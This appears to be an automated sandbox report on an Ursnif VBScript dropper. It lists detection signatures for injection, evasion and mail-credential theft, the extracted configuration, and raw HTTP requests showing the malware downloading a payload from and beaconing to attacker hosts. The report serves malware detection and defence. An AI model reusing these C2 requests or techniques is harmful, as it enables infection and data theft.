Analysis Report 6znkPyTAVN7V.vbs

Overview

General Information

Sample Name: 6znkPyTAVN7V.vbs
Analysis ID: 321068
MD5: a5f063ac8cf23a274922a337a8eeac2c
SHA1: bfae866c96996f9d26ec356ea2b48caa8e2b64d7
SHA256: 2dd9418ae38f181b5901be316cbb0deaa2205b2865a3c391105966b7d48fae2f

Most interesting Screenshot:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Dot net compiler compiles file from suspicious location
VBScript performs obfuscated calls to suspicious functions
Yara detected Ursnif
Allocates memory in foreign processes
Changes memory attributes in foreign processes to executable or writable
Compiles code for process injection (via .Net compiler)
Creates a thread in another existing process (thread injection)
Creates processes via WMI
Deletes itself after installation
Disables SPDY (HTTP compression, likely to perform web injects)
Found Tor onion address
Hooks registry keys query functions (used to hide registry keys)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the export address table of user mode modules (user mode EAT hooks)
Modifies the import address table of user mode modules (user mode IAT hooks)
Modifies the prolog of user mode functions (user mode inline hooks)
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Csc.exe Source File Folder
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to steal Mail credentials (via file access)
Uses nslookup.exe to query domains
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Compiles C# or VB.Net code
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Tries to load missing DLLs
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection:

barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\earmark.avchd Avira: detection malicious, Label: TR/Crypt.XDR.Gen
Found malware configuration
Source: explorer.exe.3440.31.memstr Malware Configuration Extractor: Ursnif {"server": "730", "os": "10.0_0_17134_x64", "ip": "84.17.52.25*", "version": "250157", "uptime": "250", "system": "71d3df7c602bda1335102fc2c9a1d3ef", "crc": "3d255", "action": "00000001", "id": "2200", "time": "1605897760", "user": "3d11f4f58695dc15e71ab15cfb0b75a9", "soft": "1"}
Multi AV Scanner detection for domain / URL
Source: c56.lepini.at Virustotal: Detection: 12% Perma Link
Source: api3.lepini.at Virustotal: Detection: 10% Perma Link
Source: api10.laptok.at Virustotal: Detection: 12% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\earmark.avchd ReversingLabs: Detection: 45%
Multi AV Scanner detection for submitted file
Source: 6znkPyTAVN7V.vbs Virustotal: Detection: 13% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\earmark.avchd Joe Sandbox ML: detected
Source: C:\Windows\explorer.exe Code function: 31_2_04DE37B8 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose, 31_2_04DE37B8
Source: C:\Windows\explorer.exe Code function: 31_2_04E091A0 CreateFileA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose, 31_2_04E091A0
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior

Networking:

barindex
Found Tor onion address
Source: powershell.exe, 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: control.exe, 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Source: explorer.exe, 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp String found in binary or memory: ADVAPI32.DLLCryptGetUserKeyKERNEL32.DLLLoadLibraryExWWS2_32.DLLWSARecvWSASendclosesocketrecvCHROME.DLLsoft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%xversion=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s&ip=%s&os=%s%u.%u_%u_%u_x%u&tor=1Mozilla/5.0 (Windows NT %u.%u%s; rv:82.0) Gecko/20100101 Firefox/82.0; Win64; x64http://https://file://USER.ID%lu.exe/upd %luCopyright (c) 2009 Microsoft Corporation.Software\AppDataLow\Software\Microsoft\MainBlockTempClientSystemIniKeysScrKillLastTaskLastConfigCrHookEdHookOpHookExec.onionTorClientTorCrc%s %s HTTP/1.1
Uses nslookup.exe to query domains
Source: unknown Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 47.241.19.44 47.241.19.44
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC
Source: global traffic HTTP traffic detected: GET /api1/_2B3RKwW/iUs9mOE_2Fy587oYC_2FhiP/cqwrXVzOiN/3iy_2FEQhtiU4caUY/vWPEHIJ26Cxh/hxAwM2tWDkS/qSV4R5vbQ5WIYO/vg5dj3B7tqHn_2B5lMt8g/ZCmUbWqqhg2tfb6o/oSVPWNxkppLXqHK/vV8NxeiuEcG4zeTrzv/QP7ToNFgg/ooAdhPJGl1OBQCmkIaFe/emmxLHFFXg9hJQ1rXN3/R0lYYQ4mDPy013_2BEN29K/KCxOU_2Fu7g0U/2_2FUAD4/FmM_2B3LZkNPjT_0A_0Duh_/2Fckmk1sZB/GylmdmeslwIeJNcsI/5j5juAVhdr/efpdipqa/_2B HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api1/V1DBpeXcd2SVjySIO/8hTgDrr844Y9/FkNwDrqNmFQ/9oPqk4MIOokEEO/lAj4retEL8hBWD_2B0pxU/T7oLkBnwilwgrQ1C/AvHVEHenvUSVrMm/ORNvMXPydgnOdjqkcE/7xobo7HTI/u73jkfr_2FjHMJCI9rY_/2BjBbFYZ7F0eTv_2F_2/BYfIj0Dy67ek7AsPxEOFXL/T0hfdBRqc_2Fe/6YdiM0Di/NVBY3QI9vCDaT6RZ7Z_2Bsp/Tf56xI5YR0/r4h0IdnvWama32P8r/O_0A_0DQ7_2F/xwdj748yuth/QipPLmYlZrUIFf/ItsP98kSmplqzXo_2FbHs/x1amFzzsXuM/2v_2FCbB0Kb/f HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /api1/QdpN8R1Zxydo1sWwz/dLDbxLZDRc0K/NqGQWShgOQF/J_2BAL2WZ8_2BO/wleDsz6XPtrejMXvExKU_/2B47KheFhTVz6OHb/U8BHNRse2TRbQUl/t4VunRcZuRVr1P5Yn8/vdcf8SUP6/tiGlFE6jFupRpiPfDk7q/1tiJD_2B3O0KnOAOHpk/hj_2B_2BJ_2FTygogOh927/rHfuAtp29MX7x/A_2B0dM4/eZkJa3YiO8U7UX1dLO9738r/QF_2FAV_2B/2P7sELH5zi9v_2FVk/N6T6tg_2Fhv_/0A_0DGou2O0/txLMOZmvcHnBqh/tXlcbpB0l_2B98Y5d82fD/5OpvYLLEKf7MUfb_/2BVb4feXqkslzZ/1 HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: api10.laptok.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /jvassets/xI/t64.dat HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: c56.lepini.at
Source: global traffic HTTP traffic detected: GET /api1/MGm_2BawPNnqv/qfARarLc/23L5WAJpq6aA5FcNoQawOw8/WY2g8fAdL6/NUu66E7OS0R_2BG57/OXAVzJZbFn8X/_2FSC9D9K6b/AbdxtvT02SkSw7/ZkCvirGXx0HM0tRJhZYZ_/2FwisZmcZhXU6gZ7/74WQUBqLJvkFLgc/o4J6CeVWx8F4FYZhHJ/7gzbcqiqM/JXYzTaXO4suSoccFx6OR/YQyFoZyErkPp2TAfMD9/L602sCubGMEbypmf_2BGCc/ZHk9_2FkS_2BQ/fsEW1_0A/_0DfIoRZGv1JHMAUdavz6FH/UJEF6aAPh1/TyQo1G51CZuwSA_/2B4G HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Host: api3.lepini.at
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.facebook.com/favicon.ico</FavoriteIcon> equals www.facebook.com (Facebook)
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.myspace.com/favicon.ico</FavoriteIcon> equals www.myspace.com (Myspace)
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: <FavoriteIcon>http://www.rambler.ru/favicon.ico</FavoriteIcon> equals www.rambler.ru (Rambler)
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: <URL>http://www.facebook.com/</URL> equals www.facebook.com (Facebook)
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: <URL>http://www.rambler.ru/</URL> equals www.rambler.ru (Rambler)
Source: unknown DNS traffic detected: queries for: api10.laptok.at
Source: unknown HTTP traffic detected: POST /api1/2tB6HzcKS8r0WW7BAax/EpXwH5CwuRnFdJmKi5Wb0z/8L2XyFmuUk21U/q489sLw0/eYa15UFemmR_2B7v06lu5vZ/vv8LbddAYj/XqNowlO_2BXAYCqjQ/aD8hcjl_2FOt/pSFCqIQQoj_/2FMnv2bRbnt_2B/gat5l9a8xt_2BSKi_2BnF/Ycvl8NwzPykoI_2B/tPDx3U6gMTBe2j_/2B5pUjMJEk5uJWfdSo/hcLd6nUAU/DHphb1AEsxwfEaYhnZ7Z/1mtzQBAzvGMymAdx_2B/RxMGg_0A_0DDuMMHm1mDrd/9OXCQyyxJSC5W/eaK7kK7AE/tmjaexqRZ7OBc/X HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0Content-Length: 2Host: api3.lepini.at
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 20 Nov 2020 09:41:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: explorer.exe, 0000001F.00000000.545744038.00000000075A0000.00000002.00000001.sdmp String found in binary or memory: http://%s.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://amazon.fr/
Source: explorer.exe, 0000001F.00000000.550538266.000000000D473000.00000004.00000001.sdmp String found in binary or memory: http://api10.laptok.at/api1/V1DBpeXcd2SVjySIO/8hTgDrr844Y9/FkNwDrqNmFQ/9oPqk4MIOokEEO/lAj4retEL8hBWD
Source: explorer.exe, 0000001F.00000000.547816387.0000000008455000.00000004.00000001.sdmp String found in binary or memory: http://api10.laptok.at/api1/_2B3RKwW/iUs9mOE_2Fy587oYC_2FhiP/cqwrXVzOiN/3iy_2FEQhtiU4caUY/vWPEHIJ26C
Source: explorer.exe, 0000001F.00000000.548344844.000000000854C000.00000004.00000001.sdmp String found in binary or memory: http://api3.lepini.at/api1/2tB6HzcKS8r0WW7BAax/EpXwH5CwuRnFdJmKi5Wb0z/8L2XyFmuUk21U/q489sLw0/eYa15UF
Source: explorer.exe, 0000001F.00000000.548344844.000000000854C000.00000004.00000001.sdmp String found in binary or memory: http://api3.lepini.at/api1/MGm_2BawPNnqv/qfARarLc/23L5WAJpq6aA5FcNoQawOw8/WY2g8fAdL6/NUu66E7OS0R_2BG
Source: explorer.exe, 0000001F.00000000.548486561.0000000008626000.00000004.00000001.sdmp String found in binary or memory: http://api3.lepini.at:80
Source: explorer.exe, 0000001F.00000000.547816387.0000000008455000.00000004.00000001.sdmp String found in binary or memory: http://api3.lepini.at:80/api1/2tB6HzcKS8r0WW7BAax/EpXwH5CwuRnFdJmKi5Wb0z/8L2XyFmuUk21U/q489sLw0/eYa1
Source: explorer.exe, 0000001F.00000000.548239180.000000000851A000.00000004.00000001.sdmp String found in binary or memory: http://api3.lepini.at:80/api1/MGm_2BawPNnqv/qfARarLc/23L5WAJpq6aA5FcNoQawOw8/WY2g8fAdL6/NUu66E7OS0R_
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ariadna.elmundo.es/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://arianna.libero.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://arianna.libero.it/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://asp.usatoday.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://auone.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.545744038.00000000075A0000.00000002.00000001.sdmp String found in binary or memory: http://auto.search.msn.com/response.asp?MT=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://br.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://browse.guardian.co.uk/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.buscape.com.br/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.estadao.com.br/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.igbusca.com.br//app/static/images/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.orange.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busca.uol.com.br/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscador.lycos.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com.br/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscador.terra.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscar.ozu.es/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://buscar.ya.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://busqueda.aol.com.mx/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://cerca.lycos.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://cgi.search.biglobe.ne.jp/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://clients5.google.com/complete/search?hl=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://cnet.search.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://cnweb.search.live.com/results.aspx?q=
Source: powershell.exe, 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, control.exe, 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, explorer.exe, 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: powershell.exe, 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, control.exe, 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, explorer.exe, 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://corp.naukri.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://corp.naukri.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://de.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://es.ask.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://es.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://esearch.rakuten.co.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://espanol.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://espn.go.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://find.joins.com/
Source: explorer.exe, 0000001F.00000000.549206559.000000000B1A6000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://fr.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://google.pchome.com.tw/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://home.altervista.org/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://home.altervista.org/favicon.ico
Source: powershell.exe, 00000016.00000003.506842838.000002656DBD0000.00000004.00000001.sdmp, control.exe, 0000001C.00000002.562589004.0000000000C0E000.00000004.00000001.sdmp, explorer.exe, 0000001F.00000003.509721795.00000000027B0000.00000004.00000001.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ie.search.yahoo.com/os?command=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ie8.ebay.com/open-search/output-xml.php?q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://image.excite.co.jp/jp/favicon/lep.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://images.joins.com/ui_c/fvc_joins.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://images.monster.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://img.atlas.cz/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://img.shopzilla.com/shopzilla/shopzilla.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://in.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&amp;q=
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://msk.afisha.ru/
Source: powershell.exe, 00000016.00000003.464342861.00000265015AE000.00000004.00000001.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: powershell.exe, 00000016.00000003.463966889.00000265013EA000.00000004.00000001.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://price.ru/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://rover.ebay.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://sads.myspace.com/
Source: powershell.exe, 00000016.00000002.511106004.0000026500001000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exe, 0000001F.00000000.546278603.0000000007693000.00000002.00000001.sdmp String found in binary or memory: http://search.about.com/
